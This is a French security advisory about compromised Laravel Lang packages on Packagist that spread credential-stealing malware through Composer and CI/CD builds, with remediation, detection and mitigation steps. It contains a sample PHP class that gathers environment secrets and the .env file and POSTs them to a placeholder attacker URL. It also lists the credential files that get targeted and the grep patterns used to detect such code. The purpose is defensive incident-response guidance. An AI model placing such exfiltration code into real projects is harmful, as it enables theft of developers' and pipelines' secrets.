Une série de paquets de localisation Laravel Lang publiés sur Packagist a été compromise pour distribuer un code malveillant destiné au vol d’identifiants et de secrets. L’incident relève d’une compromission de chaîne d’approvisionnement logicielle particulièrement sensible pour l’écosystème PHP, car ces dépendances sont souvent installées automatiquement sur des postes de développement, des runners CI/CD et des environnements de build. La source médiatique initiale est l’alerte relayée par BleepingComputer à propos de paquets Laravel Lang détournés pour déployer un malware voleur d’identifiants, tandis que la source de référence reste l’advisory officiel publié par les mainteneurs et les informations visibles sur Packagist et le dépôt amont.

Le point important pour les équipes techniques n’est pas seulement la présence d’un paquet malveillant, mais le fait que le vecteur s’insère dans un flux normal de développement : un composer install, un composer update, un job GitHub Actions, GitLab CI, Jenkins ou un pipeline interne peut récupérer et exécuter du code lors des phases d’installation, d’autoload ou de scripts Composer. Dans un contexte où les runners manipulent souvent des secrets de déploiement, des clés d’API, des identifiants cloud, des tokens GitHub, GitLab ou des accès à des registres privés, l’impact potentiel dépasse largement le simple poste développeur.

À ce stade, il ne s’agit pas d’une vulnérabilité classique avec un identifiant CVE et un score CVSS standardisés comme on en voit pour une faille de framework ou une bibliothèque exposée à distance. On est face à un incident de compromission de packages, donc à un problème de confiance dans l’artefact distribué. En pratique, l’évaluation du risque doit être faite comme pour une exécution de code arbitraire dans la chaîne d’intégration. Pour un RSSI ou un responsable plateforme, le niveau de gravité opérationnelle est élevé, surtout si des secrets de production ont transité par les environnements ayant installé les versions compromises.

Les organisations françaises utilisant Laravel, Symfony avec composants PHP partagés, ou plus largement des pipelines Composer sur des infrastructures chez OVHcloud, Scaleway, o2switch ou des runners auto-hébergés doivent considérer cet incident comme une alerte immédiate de type supply chain. Même si les paquets touchés concernent la localisation, leur nature apparemment anodine augmente le risque de sous-estimation : ce genre de dépendance est rarement revue avec le même niveau d’attention qu’un package de sécurité, d’authentification ou d’accès base de données.

La source officielle à privilégier pour la qualification des versions saines et compromises reste l’advisory des mainteneurs Laravel Lang, complétée par l’historique des releases sur Packagist et le dépôt source. BleepingComputer fournit un bon point d’entrée médiatique, mais la remédiation doit impérativement s’appuyer sur les versions explicitement marquées comme malveillantes ou retirées par l’éditeur. En environnement réglementé ou sensible, il est également pertinent de surveiller les communications du CERT-FR si l’incident fait l’objet d’un relai institutionnel ou d’une note de veille.

Versions affectées

L’incident concerne plusieurs paquets de l’écosystème Laravel Lang publiés sur Packagist. Comme pour toute compromission de registre ou de compte mainteneur, la difficulté principale est de distinguer précisément les versions malveillantes des versions légitimes antérieures et des versions corrigées publiées ensuite. Il faut donc raisonner paquet par paquet et version par version, en se basant sur les annonces des mainteneurs.

Les équipes doivent commencer par inventorier tous les paquets laravel-lang/* présents dans leurs projets, leurs images de build et leurs caches Composer. Les plus exposés sont généralement ceux installés automatiquement par des templates Laravel, des projets multilingues ou des scripts de génération de traductions.

Paquets à vérifier en priorité

  • laravel-lang/lang
  • laravel-lang/publisher
  • laravel-lang/attributes
  • Tout autre paquet du namespace laravel-lang/* présent dans composer.lock, dans les caches CI ou dans des images Docker de build

La règle opérationnelle est simple : toute version explicitement identifiée par l’éditeur comme compromise doit être considérée comme malveillante, même si elle n’a été disponible que brièvement. Toute installation intervenue pendant la fenêtre de compromission doit être présumée à risque, y compris si l’environnement a ensuite été reconstruit avec une version saine. Le risque ne porte pas seulement sur le code présent aujourd’hui, mais sur les secrets potentiellement exfiltrés au moment de l’installation.

Comment identifier les versions réellement installées

Sur un poste de développement ou un serveur de build, la première source de vérité est le fichier composer.lock. Il faut aussi inspecter les logs de pipeline et les caches Composer, car une version compromise peut avoir été téléchargée puis supprimée plus tard sans laisser de trace dans la branche principale.

grep -R "laravel-lang/" composer.lock composer.json
composer show | grep laravel-lang
composer why laravel-lang/lang
composer why laravel-lang/publisher

Dans un pipeline CI/CD, les journaux d’installation sont essentiels pour dater l’exposition. Recherchez les lignes contenant Installing laravel-lang/, Updating laravel-lang/ ou des téléchargements depuis repo.packagist.org. Si vous utilisez des caches persistants, inspectez également ~/.composer/cache, ~/.cache/composer ou les volumes Docker partagés entre jobs.

Versions vulnérables et versions corrigées

Comme l’incident est lié à une compromission de publication et non à un bug de logique applicative, la liste exacte des versions malveillantes doit être reprise depuis l’advisory officiel des mainteneurs. Si votre organisation rédige une fiche interne, il est recommandé d’y reporter noir sur blanc :

  • les versions compromises de chaque paquet laravel-lang/* concerné,
  • les versions retirées ou dépubliées,
  • la première version explicitement marquée comme saine par les mainteneurs,
  • la fenêtre temporelle pendant laquelle les artefacts malveillants ont été distribués.

En l’absence de CVE-ID officiel au moment de l’écriture, il faut référencer l’incident par le nom du paquet, la date de publication compromise et l’URL de l’advisory officiel. Pour la communication interne, une formulation du type Incident supply chain Packagist - Laravel Lang - [date] est plus utile qu’un pseudo-identifiant non standard.

Si vous avez besoin d’un critère de décision immédiat : toute version installée pendant la fenêtre d’attaque et signalée comme compromise par l’éditeur doit être supprimée, remplacée par une version saine, puis suivie d’une rotation de secrets. Une simple mise à jour sans rotation n’est pas suffisante.

Vecteur d’attaque

Le vecteur d’attaque est celui d’une compromission de chaîne d’approvisionnement logicielle via Packagist, le registre central de l’écosystème PHP. Au lieu d’exploiter une faille dans votre application Laravel, l’attaquant injecte du code malveillant dans une dépendance que votre outillage télécharge et exécute de manière légitime. C’est précisément ce qui rend ce type d’incident dangereux : il contourne de nombreux réflexes de sécurité centrés sur l’exposition réseau.

Dans un projet PHP moderne, Composer ne se contente pas de télécharger des fichiers. Il gère des scripts, des hooks, l’autoload, des plugins et parfois des phases d’exécution déclenchées automatiquement. Si un paquet compromis introduit du code dans un fichier chargé à l’installation ou au runtime, il peut récupérer des variables d’environnement, lire des fichiers sensibles, interroger la configuration Git ou tenter une exfiltration discrète via HTTP.

Scénario d’attaque typique sur poste développeur

  • Un développeur lance composer update sur son projet Laravel.
  • Composer résout une version compromise d’un paquet laravel-lang/*.
  • Le code malveillant s’exécute pendant l’installation ou lors du chargement du paquet.
  • Le malware collecte des secrets locaux : .env, tokens GitHub CLI, credentials cloud, configuration SSH, variables d’environnement de terminal, cookies ou jetons d’outils de développement.
  • Les données sont exfiltrées vers une infrastructure contrôlée par l’attaquant.

Dans ce scénario, les artefacts les plus sensibles sont souvent :

  • .env et .env.production,
  • ~/.ssh/,
  • ~/.composer/auth.json,
  • ~/.config/composer/auth.json,
  • ~/.git-credentials,
  • les tokens stockés par gh, glab, AWS CLI, Azure CLI ou gcloud,
  • les variables d’environnement exportées dans le shell.

Scénario d’attaque sur runner CI/CD

Le cas le plus critique concerne les pipelines. Un runner CI/CD dispose souvent d’un périmètre de confiance plus large qu’un poste développeur : accès à des secrets de build, capacité de publier des images Docker, déploiement sur staging ou production, accès à des registres privés et parfois à des comptes cloud. Si le code malveillant s’exécute dans ce contexte, l’attaquant peut obtenir des jetons à très forte valeur.

  • Le pipeline lance composer install --no-interaction --prefer-dist.
  • Le paquet compromis est téléchargé depuis Packagist.
  • Le code collecte les variables injectées par le système CI : GITHUB_TOKEN, CI_JOB_TOKEN, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, DOCKER_AUTH_CONFIG, secrets Kubernetes, tokens Terraform Cloud, etc.
  • Une exfiltration sortante est réalisée vers un domaine ou une IP externe.
  • L’attaquant peut ensuite pivoter vers le dépôt source, le registre d’images, l’infrastructure cloud ou les mécanismes de déploiement.

Ce point est fondamental pour les équipes DevOps : même si les paquets compromis n’étaient pas déployés en production, le simple fait qu’ils aient été installés pendant une build peut suffire à exposer des secrets de production.

Exemple de logique malveillante plausible

Sans reproduire un malware réel, le schéma de fonctionnement est généralement simple : lecture de variables d’environnement, collecte de fichiers connus, sérialisation puis envoi réseau. Le code ci-dessous illustre le type de comportement qu’il faut rechercher lors d’un audit de dépendance compromise.

<?php

namespace Vendor\Package;

class Bootstrap
{
    public static function init(): void
    {
        $targets = [
            'APP_KEY' => getenv('APP_KEY'),
            'DB_HOST' => getenv('DB_HOST'),
            'DB_USERNAME' => getenv('DB_USERNAME'),
            'DB_PASSWORD' => getenv('DB_PASSWORD'),
            'AWS_ACCESS_KEY_ID' => getenv('AWS_ACCESS_KEY_ID'),
            'AWS_SECRET_ACCESS_KEY' => getenv('AWS_SECRET_ACCESS_KEY'),
            'GITHUB_TOKEN' => getenv('GITHUB_TOKEN'),
        ];

        $envFile = getcwd() . '/.env';
        if (is_readable($envFile)) {
            $targets['ENV_FILE'] = file_get_contents($envFile);
        }

        $payload = json_encode($targets);

        $ctx = stream_context_create([
            'http' => [
                'method' => 'POST',
                'header' => "Content-Type: application/json\r\n",
                'content' => $payload,
                'timeout' => 3
            ]
        ]);

        @file_get_contents('https://example-attacker.tld/collect', false, $ctx);
    }
}

Les indicateurs techniques à surveiller dans un paquet compromis incluent donc :

  • usage inattendu de getenv(), $_ENV ou $_SERVER,
  • lecture de .env, auth.json, .git/config, .ssh,
  • appels réseau sortants via curl, file_get_contents(), Guzzle, sockets ou wrappers HTTP,
  • obfuscation, encodage base64, compression ou chaînes construites dynamiquement,
  • code exécuté dans des scripts Composer ou dans des fichiers chargés automatiquement.

Impact concret

L’impact principal est le vol d’identifiants et de secrets. Mais dans un environnement moderne, cela se traduit rapidement par des conséquences secondaires graves :

  • prise de contrôle de dépôts Git privés,
  • publication d’artefacts malveillants dans un registre interne,
  • déploiement non autorisé sur une infrastructure cloud,
  • accès à des bases de données via des credentials exposés,
  • signature ou publication d’images Docker compromises,
  • mouvement latéral via des clés SSH ou des tokens d’automatisation.

Pour un hébergement mutualisé ou VPS chez o2switch, OVHcloud ou Scaleway, le risque dépend fortement de la séparation des secrets. Un simple site Laravel hébergé sur une VM avec des clés de déploiement locales peut être plus exposé qu’un cluster bien segmenté avec secrets éphémères et OIDC. L’incident rappelle que la sécurité d’un framework ne suffit pas si la chaîne de build reste trop permissive.

Comment patcher

Le correctif se déroule en quatre temps : identifier les versions compromises, mettre à jour vers des versions saines, purger les caches et reconstruire les environnements, puis effectuer une rotation complète des secrets potentiellement exposés. La quatrième étape est indispensable.

1. Identifier les projets touchés

grep -R "laravel-lang/" /srv/git /var/lib/jenkins /home /builds 2>/dev/null
find / -name composer.lock 2>/dev/null | xargs grep -H "laravel-lang/"

Sur GitHub Enterprise, GitLab ou Bitbucket, utilisez également la recherche de code pour repérer les références à laravel-lang/ dans les composer.json et composer.lock.

2. Mettre à jour vers une version saine

La commande exacte dépend du paquet concerné et de la version saine publiée par les mainteneurs. Le principe est de forcer explicitement une version validée, puis de régénérer le verrouillage des dépendances.

composer require laravel-lang/lang:"VERSION_SAINE"
composer require laravel-lang/publisher:"VERSION_SAINE"
composer require laravel-lang/attributes:"VERSION_SAINE"
composer update laravel-lang/lang laravel-lang/publisher laravel-lang/attributes --with-all-dependencies

Remplacez VERSION_SAINE par la première release explicitement déclarée saine dans l’advisory officiel. Si vous ne pouvez pas qualifier immédiatement la bonne version, retirez temporairement le paquet compromis du projet plutôt que de laisser une version douteuse en place.

3. Purger les caches Composer et reconstruire

Une mise à jour ne suffit pas si les runners réutilisent des caches contenant les artefacts compromis.

composer clear-cache
rm -rf vendor/
rm -f composer.lock
composer install --no-interaction --prefer-dist

Dans un pipeline Docker :

docker builder prune --all --force
docker image prune --all --force

Dans GitHub Actions, GitLab CI ou Jenkins, invalidez les caches de dépendances et forcez une reconstruction complète des jobs ayant installé les paquets touchés pendant la fenêtre de compromission.

4. Rotation urgente des secrets

Si une version compromise a été installée, il faut considérer les secrets accessibles à cet environnement comme exposés. La rotation doit inclure, selon le contexte :

  • clés d’API applicatives,
  • mots de passe et utilisateurs base de données,
  • tokens GitHub, GitLab, Bitbucket,
  • clés d’accès AWS, Azure, GCP,
  • identifiants de registre Docker,
  • secrets Kubernetes, Vault, Terraform,
  • clés SSH de déploiement,
  • APP_KEY Laravel si elle a transité par l’environnement touché.

Exemples de commandes utiles côté système :

php artisan key:generate
php artisan config:clear
php artisan cache:clear

Attention : régénérer APP_KEY peut invalider des sessions, des cookies chiffrés et certaines données applicatives. Cette opération doit être préparée. Pour les secrets cloud et VCS, utilisez les mécanismes natifs de rotation et révoquez immédiatement les anciens jetons.

5. Vérifier l’intégrité des dépendances

Après mise à jour, faites un contrôle ciblé du contenu installé :

composer show -P | grep laravel-lang
grep -R "getenv\|file_get_contents\|curl\|base64_decode" vendor/laravel-lang/
find vendor/laravel-lang/ -type f -name "*.php" -print

Ce contrôle n’est pas une garantie absolue, mais il permet de détecter rapidement des comportements anormaux dans les paquets concernés.

Détection

La détection doit couvrir trois axes : preuve d’installation d’une version compromise, recherche d’exfiltration réseau et inventaire des secrets manipulés par les environnements touchés. Dans un incident supply chain, il ne suffit pas de vérifier l’état actuel du dépôt ; il faut reconstituer l’historique d’exécution.

Recherche dans les logs CI/CD

Inspectez les journaux de jobs sur la période de compromission :

  • lignes composer install ou composer update,
  • résolution de paquets laravel-lang/*,
  • accès réseau sortants inhabituels pendant la phase d’installation,
  • erreurs ou timeouts HTTP pouvant correspondre à une tentative d’exfiltration ratée.

Exemples de recherche :

grep -R "laravel-lang/" /var/log/jenkins /var/lib/gitlab-runner /tmp/build-logs 2>/dev/null
grep -R "composer install\|composer update" /var/log/ 2>/dev/null

IoC réseau et système

Les indicateurs de compromission précis dépendent des artefacts malveillants réellement publiés. La source officielle et les analyses tierces doivent être surveillées pour récupérer les domaines, IP, chemins d’exfiltration, empreintes de fichiers et signatures exactes. En attendant, plusieurs signaux génériques sont utiles.

  • Connexions HTTP ou HTTPS sortantes non attendues depuis les runners au moment du composer install.
  • Résolutions DNS vers des domaines inconnus déclenchées pendant la phase de dépendances.
  • Lecture de fichiers sensibles par le processus PHP exécutant Composer.
  • Création de fichiers temporaires inhabituels dans /tmp, /var/tmp ou dans le workspace du job.
  • Présence de code obfusqué dans vendor/laravel-lang/.

Sur Linux, selon vos outils de télémétrie :

grep -R "repo.packagist.org" /var/log/proxy/ /var/log/squid/ 2>/dev/null
grep -R "POST /" /var/log/proxy/ 2>/dev/null
find /tmp /var/tmp -type f -mmin -1440 2>/dev/null

Avec auditd, Sysmon for Linux, Falco ou un EDR, cherchez les accès à .env, auth.json et aux répertoires .ssh déclenchés par le processus de build.

Audit des secrets exposés

La détection doit aussi répondre à la question : quels secrets étaient accessibles au moment de l’installation ? Dressez la liste des variables injectées dans les jobs touchés, des fichiers montés en volume, des comptes de service utilisés, des permissions IAM associées et des accès réseau disponibles. Cet inventaire conditionne la profondeur de la rotation et de l’investigation.

  • Variables CI masquées mais injectées au runtime
  • Fichiers .env téléchargés par le pipeline
  • Jetons de publication de packages ou d’images
  • Clés cloud statiques
  • Certificats et clés privées montés dans les jobs

Si un runner partagé a été touché, élargissez l’analyse à tous les projets ayant utilisé ce runner pendant la fenêtre de compromission. Le problème n’est plus seulement applicatif, il devient plateforme.

Détection dans le code source et les artefacts

Conservez une copie des fichiers composer.lock historiques, des logs de build et des répertoires vendor/ si disponibles. En cas d’incident avéré, ces éléments servent à qualifier l’exposition et à documenter la chronologie. Si vous utilisez un gestionnaire d’artefacts interne, vérifiez si les versions compromises y ont été mises en cache ou miroitées.

Mitigation

Quand le patch ne peut pas être appliqué immédiatement sur tous les projets, plusieurs mesures de mitigation permettent de réduire le risque. Elles ne remplacent pas la mise à jour et la rotation des secrets, mais elles limitent l’exposition pendant la phase de traitement.

Bloquer temporairement les paquets concernés

Dans un miroir privé, un proxy de dépendances ou une politique interne, bloquez les versions compromises des paquets laravel-lang/*. Si vous utilisez Private Packagist, Satis, Artifactory, Nexus ou un cache interne, retirez les artefacts malveillants et empêchez leur résolution.

Dans les projets critiques, vous pouvez aussi geler temporairement les dépendances en imposant le composer.lock validé et en interdisant les composer update non contrôlés.

Désactiver les scripts Composer sur les environnements sensibles

Sur des builds de vérification ou d’analyse, l’option suivante réduit le risque d’exécution automatique :

composer install --no-scripts --no-plugins --prefer-dist --no-interaction

Cette commande n’est pas toujours compatible avec tous les projets, mais elle est pertinente pour des audits ou des reconstructions temporaires. Elle ne protège pas contre tout code malveillant chargé autrement, mais elle diminue la surface d’exécution automatique.

Réduire les privilèges des runners

Les runners CI/CD ne devraient pas disposer de secrets statiques à large portée. Les bonnes pratiques à accélérer après cet incident sont connues, mais souvent incomplètement appliquées :

  • utiliser des identités fédérées et des jetons courts via OIDC plutôt que des clés cloud statiques,
  • segmenter les secrets par projet et par environnement,
  • isoler les runners sensibles,
  • interdire l’accès réseau sortant non nécessaire depuis les jobs de build,
  • éviter de monter des clés SSH génériques dans les pipelines.

Pour beaucoup d’équipes, le vrai correctif structurel est là : rendre un éventuel vol de secrets beaucoup moins rentable.

Mettre en place un contrôle d’intégrité des dépendances

L’écosystème PHP reste très dépendant de la confiance dans le registre public. Sans attendre une solution parfaite, plusieurs garde-fous sont utiles :

  • miroir interne de dépendances validées,
  • revue des changements de composer.lock en pull request,
  • surveillance des comptes mainteneurs critiques,
  • SBOM et inventaire logiciel par application,
  • analyse statique ciblée des packages tiers lors des mises à jour.

Le parallèle avec d’autres incidents de supply chain est évident : event-stream dans l’écosystème Node.js, ua-parser-js, ou plus largement les compromissions de comptes mainteneurs et de pipelines de publication. Le schéma se répète : un package légitime, parfois très utilisé mais perçu comme peu critique, devient un vecteur d’exécution de code ou de vol de secrets. L’écosystème PHP n’est pas à l’abri sous prétexte qu’il est historiquement plus conservateur.

Comparaison avec des incidents antérieurs

Contrairement à une CVE classique comme une désérialisation Laravel ou une faille RCE dans un composant web, un package compromis ne laisse pas forcément un point d’entrée exploitable durable dans l’application finale. Le danger est plus furtif et plus transversal : il vise l’environnement de construction et la confiance dans la dépendance. C’est précisément ce qui le rapproche des attaques supply chain modernes observées dans de nombreux langages.

Par rapport à une faille de type composer audit, la différence est importante : ici, l’outil de gestion des dépendances peut devenir lui-même le véhicule de la compromission. Un projet peut être parfaitement à jour sur ses CVE connues et rester vulnérable si son processus de récupération des paquets n’est pas maîtrisé. Pour les RSSI, cela justifie une lecture plus large du risque open source : pas seulement les vulnérabilités déclarées, mais aussi l’intégrité des artefacts et des mainteneurs.

Perspective écosystème Laravel/PHP

L’incident rappelle aussi une réalité opérationnelle de l’écosystème Laravel : de nombreux projets s’appuient sur des paquets communautaires pour accélérer le développement, parfois sans politique de qualification formelle. C’est une force en termes de productivité, mais aussi un point de fragilité. Les équipes francophones qui opèrent beaucoup de sites clients, d’applications métier ou de plateformes e-commerce en PHP doivent durcir leurs pratiques de dépendances au même niveau que leurs politiques d’accès cloud ou leurs règles WAF.

Pour les hébergeurs et infogéreurs, notamment ceux qui industrialisent des déploiements Laravel chez OVHcloud, Scaleway ou o2switch, la leçon est claire : un cache Composer mutualisé, un runner partagé ou une image de build commune peut transformer un incident limité à un paquet en exposition multi-clients. La séparation des contextes et l’observabilité des builds deviennent des exigences de base.

La réponse pratique tient en quelques priorités : qualifier toutes les installations de laravel-lang/* sur la période concernée, mettre à jour vers les versions saines indiquées par l’advisory officiel, purger les caches, reconstruire les environnements et surtout révoquer puis régénérer les secrets accessibles aux postes et pipelines exposés. Pour renforcer durablement la chaîne de build, un travail de fond sur le hardening des runners, la revue des dépendances et la limitation des privilèges est recommandé. Des mesures concrètes de durcissement complémentaires sont disponibles dans la catégorie /categorie/pratiques.

Retour aux actualités